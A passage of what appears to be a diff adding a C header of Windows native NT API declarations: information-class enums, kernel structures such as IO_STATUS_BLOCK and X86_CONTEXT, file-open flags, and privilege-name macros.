FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession +} POOL_TYPE, *PPOOL_TYPE; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _REG_NOTIFY_CLASS +{ + RegNtDeleteKey, + RegNtPreDeleteKey, + RegNtSetValueKey, + RegNtPreSetValueKey, + RegNtDeleteValueKey, + RegNtPreDeleteValueKey, + RegNtSetInformationKey, + RegNtPreSetInformationKey, + RegNtRenameKey, + RegNtPreRenameKey, + RegNtEnumerateKey, + RegNtPreEnumerateKey, + RegNtEnumerateValueKey, + RegNtPreEnumerateValueKey, + RegNtQueryKey, + RegNtPreQueryKey, + RegNtQueryValueKey, + RegNtPreQueryValueKey, + RegNtQueryMultipleValueKey, + RegNtPreQueryMultipleValueKey, + RegNtPreCreateKey, + RegNtPostCreateKey, + RegNtPreOpenKey, + RegNtPostOpenKey, + RegNtKeyHandleClose, + RegNtPreKeyHandleClose, + RegNtPostDeleteKey, + RegNtPostSetValueKey, + RegNtPostDeleteValueKey, + RegNtPostSetInformationKey, + RegNtPostRenameKey, + RegNtPostEnumerateKey, + RegNtPostEnumerateValueKey, + RegNtPostQueryKey, + RegNtPostQueryValueKey, + RegNtPostQueryMultipleValueKey, + RegNtPostKeyHandleClose, + RegNtPreCreateKeyEx, + RegNtPostCreateKeyEx, + RegNtPreOpenKeyEx, + RegNtPostOpenKeyEx, + RegNtPreFlushKey, + RegNtPostFlushKey, + RegNtPreLoadKey, + RegNtPostLoadKey, + RegNtPreUnLoadKey, + RegNtPostUnLoadKey, + RegNtPreQueryKeySecurity, + RegNtPostQueryKeySecurity, + RegNtPreSetKeySecurity, + RegNtPostSetKeySecurity, + RegNtCallbackObjectContextCleanup, + MaxRegNtNotifyClass +} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; + +typedef enum _HAL_QUERY_INFORMATION_CLASS +{ + HalInstalledBusInformation, + HalProfileSourceInformation, + HalInformationClassUnused1, + HalPowerInformation, + HalProcessorSpeedInformation, + HalCallbackInformation, + HalMapRegisterInformation, + HalMcaLogInformation, + HalFrameBufferCachingInformation, + HalDisplayBiosInformation, + HalProcessorFeatureInformation, + HalNumaTopologyInterface, + HalErrorInformation, + HalCmcLogInformation, + HalCpeLogInformation, + HalQueryMcaInterface, + HalQueryAMLIIllegalIOPortAddresses, + HalQueryMaxHotPlugMemoryAddress, + HalPartitionIpiInterface, + HalPlatformInformation, + HalQueryProfileSourceList, + HalInitLogInformation, + HalFrequencyInformation, + HalProcessorBrandString +} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; + + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef enum POWER_INFORMATION_LEVEL { + SystemPowerPolicyAc = 0x0, + SystemPowerPolicyDc = 0x1, + VerifySystemPolicyAc = 0x2, + VerifySystemPolicyDc = 0x3, + SystemPowerCapabilities = 0x4, + SystemBatteryState = 0x5, + SystemPowerStateHandler = 0x6, + ProcessorStateHandler = 0x7, + SystemPowerPolicyCurrent = 0x8, + AdministratorPowerPolicy = 0x9, + SystemReserveHiberFile = 0xa, + ProcessorInformation = 0xb, + SystemPowerInformation = 0xc, + ProcessorStateHandler2 = 0xd, + LastWakeTime = 0xe, + LastSleepTime = 0xf, + SystemExecutionState = 0x10, + SystemPowerStateNotifyHandler = 0x11, + ProcessorPowerPolicyAc = 0x12, + ProcessorPowerPolicyDc = 0x13, + VerifyProcessorPowerPolicyAc = 0x14, + VerifyProcessorPowerPolicyDc = 0x15, + ProcessorPowerPolicyCurrent = 0x16, + SystemPowerStateLogging = 0x17, + SystemPowerLoggingEntry = 0x18, + SetPowerSettingValue = 0x19, + NotifyUserPowerSetting = 0x1a, + GetPowerTransitionVetoes = 0x1b, + SetPowerTransitionVeto = 0x1c, + SystemVideoState = 0x1d, + TraceApplicationPowerMessage = 0x1e, + TraceApplicationPowerMessageEnd = 0x1f, + ProcessorPerfStates = 0x20, + ProcessorIdleStates = 0x21, + ProcessorThrottleStates = 0x22, + SystemWakeSource = 0x23, + SystemHiberFileInformation = 0x24, + TraceServicePowerMessage = 0x25, + ProcessorLoad = 0x26, + PowerShutdownNotification = 0x27, + MonitorCapabilities = 0x28 +}; +#endif + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + +typedef struct _X86_FLOATING_SAVE_AREA +{ + ULONG ControlWord; + ULONG StatusWord; + ULONG TagWord; + ULONG ErrorOffset; + ULONG ErrorSelector; + ULONG DataOffset; + ULONG DataSelector; + UCHAR RegisterArea[ 80 ]; + ULONG Cr0NpxState; +} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; + +typedef struct _X86_CONTEXT +{ + ULONG ContextFlags; + ULONG Dr0; + ULONG Dr1; + ULONG Dr2; + ULONG Dr3; + ULONG Dr6; + ULONG Dr7; + X86_FLOATING_SAVE_AREA FloatSave; + ULONG SegGs; + ULONG SegFs; + ULONG SegEs; + ULONG SegDs; + ULONG Edi; + ULONG Esi; + ULONG Ebx; + ULONG Edx; + ULONG Ecx; + ULONG Eax; + ULONG Ebp; + ULONG Eip; + ULONG SegCs; + ULONG EFlags; + ULONG Esp; + ULONG SegSs; +} X86_CONTEXT, *PX86_CONTEXT; + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define PIO_APC_ROUTINE_DEFINED + +typedef struct _PORT_VIEW { + ULONG Length; + LPC_HANDLE SectionHandle; + ULONG SectionOffset; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; + LPC_PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef enum _PORT_INFORMATION_CLASS { + PortBasicInformation +} PORT_INFORMATION_CLASS; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +//added 21/03/2011 +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#if defined(_M_X64) + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 5; + +#if defined(_M_X64) + ULONG_PTR ReservedUlong : 32; +#endif +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG Long; + }; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +typedef +VOID +(*PTIMER_APC_ROUTINE) ( + IN PVOID TimerContext, + IN ULONG TimerLowValue, + IN LONG TimerHighValue + ); + +typedef enum _SHUTDOWN_ACTION { + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + MUTANT_QUERY_STATE) + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +#define TIMER_QUERY_STATE 0x0001 +#define TIMER_MODIFY_STATE 0x0002 + +#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + TIMER_QUERY_STATE|TIMER_MODIFY_STATE) +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') +#define OBJ_MAX_REPARSE_ATTEMPTS 32 +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef enum _PLUGPLAY_EVENT_CATEGORY { + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef enum _PNP_VETO_TYPE { + PNP_VetoTypeUnknown, // Name is unspecified + PNP_VetoLegacyDevice, // Name is an Instance Path + PNP_VetoPendingClose, // Name is an Instance Path + PNP_VetoWindowsApp, // Name is a Module + PNP_VetoWindowsService, // Name is a Service + PNP_VetoOutstandingOpen, // Name is an Instance Path + PNP_VetoDevice, // Name is an Instance Path + PNP_VetoDriver, // Name is a Driver Service Name + PNP_VetoIllegalDeviceRequest, // Name is an Instance Path + PNP_VetoInsufficientPower, // Name is unspecified + PNP_VetoNonDisableable, // Name is an Instance Path + PNP_VetoLegacyDriver, // Name is a Service + PNP_VetoInsufficientRights // Name is unspecified +} PNP_VETO_TYPE, *PPNP_VETO_TYPE; + +typedef struct _PLUGPLAY_EVENT_BLOCK { + // + // Common event data + // + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union { + + struct { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + + struct { + WCHAR DeviceIds[1]; + } TargetDevice; + + struct { + WCHAR DeviceId[1]; + } InstallDevice; + + struct { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + + struct { + PVOID Notification; + } ProfileNotification; + + struct { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + + struct { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + + struct { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + + struct { + WCHAR ParentId[1]; + } InvalidIDNotification; + + } u; + +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#define MDL_HASH_TABLE_SIZE 64 +#define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) +#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) + +#if !defined(_WINNT_) +#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) +#endif +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +typedef struct _RTL_TIME_ZONE_INFORMATION { + LONG Bias; + WCHAR StandardName[ 32 ]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[ 32 ]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +typedef struct _RTL_BITMAP_RUN { + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; + +typedef struct _PARSE_MESSAGE_CONTEXT { + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +typedef enum _RTL_RXACT_OPERATION { + RtlRXactOperationDelete = 1, // Causes sub-key to be deleted + RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) + RtlRXactOperationDelAttribute, + RtlRXactOperationSetAttribute +} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; + +typedef struct _RTL_RXACT_LOG { + ULONG OperationCount; + ULONG LogSize; + ULONG LogSizeInUse; +#if defined(_M_X64) + ULONG Alignment; +#endif +} RTL_RXACT_LOG, *PRTL_RXACT_LOG; + +typedef struct _RTL_RXACT_CONTEXT { + HANDLE RootRegistryKey; + HANDLE RXactKey; + BOOLEAN HandlesValid; + PRTL_RXACT_LOG RXactLog; +} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO { + USHORT CodePage; // code page number + USHORT MaximumCharacterSize; // max length (bytes) of a char + USHORT DefaultChar; // default character (MB) + USHORT UniDefaultChar; // default character (Unicode) + USHORT TransDefaultChar; // translation of default char (Unicode) + USHORT TransUniDefaultChar; // translation of Unic default char (MB) + USHORT DBCSCodePage; // Non 0 for DBCS code pages + UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges + PUSHORT MultiByteTable; // pointer to MB translation table + PVOID WideCharTable; // pointer to WC translation table + PUSHORT DBCSRanges; // pointer to DBCS ranges + PUSHORT DBCSOffsets; // pointer to DBCS offsets +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO { + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; // 844 format upcase table + PUSHORT LowerCaseTable; // 844 format lower case table +} NLSTABLEINFO, *PNLSTABLEINFO; + +#define RTL_RANGE_LIST_SHARED_OK 0x00000001 +#define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 + +typedef struct _RTL_RANGE { + ULONGLONG Start; // Read only + ULONGLONG End; // Read only + PVOID UserData; // Read/Write + PVOID Owner; // Read/Write + UCHAR Attributes; // Read/Write + UCHAR Flags; // Read only +} RTL_RANGE, *PRTL_RANGE; + +typedef + BOOLEAN + (*PRTL_CONFLICT_RANGE_CALLBACK) ( + IN PVOID Context, + IN PRTL_RANGE Range + ); + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + + +typedef enum _PLUGPLAY_CONTROL_CLASS { + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, + PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +typedef +VOID +(*PPS_APC_ROUTINE) ( + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +// +// Value entry query structures +// 14.09.11 + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +// +// end of value info +// + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyUserFlagsInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") +#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") +#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") +#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") +#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") +#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") +#define SE_TCB_NAME TEXT("SeTcbPrivilege") +#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") +#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") +#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") +#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") +#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") +#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") +#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") +#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") +#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") +#define SE_BACKUP_NAME TEXT("SeBackupPrivilege") +#define SE_RESTORE_NAME TEXT("SeRestorePrivilege") +#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") +#define SE_DEBUG_NAME TEXT("SeDebugPrivilege") +#define SE_AUDIT_NAME TEXT("SeAuditPrivilege") +#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") +#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") +#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") +#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") +#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") +#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") +#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") +#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") +// #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") +// #define 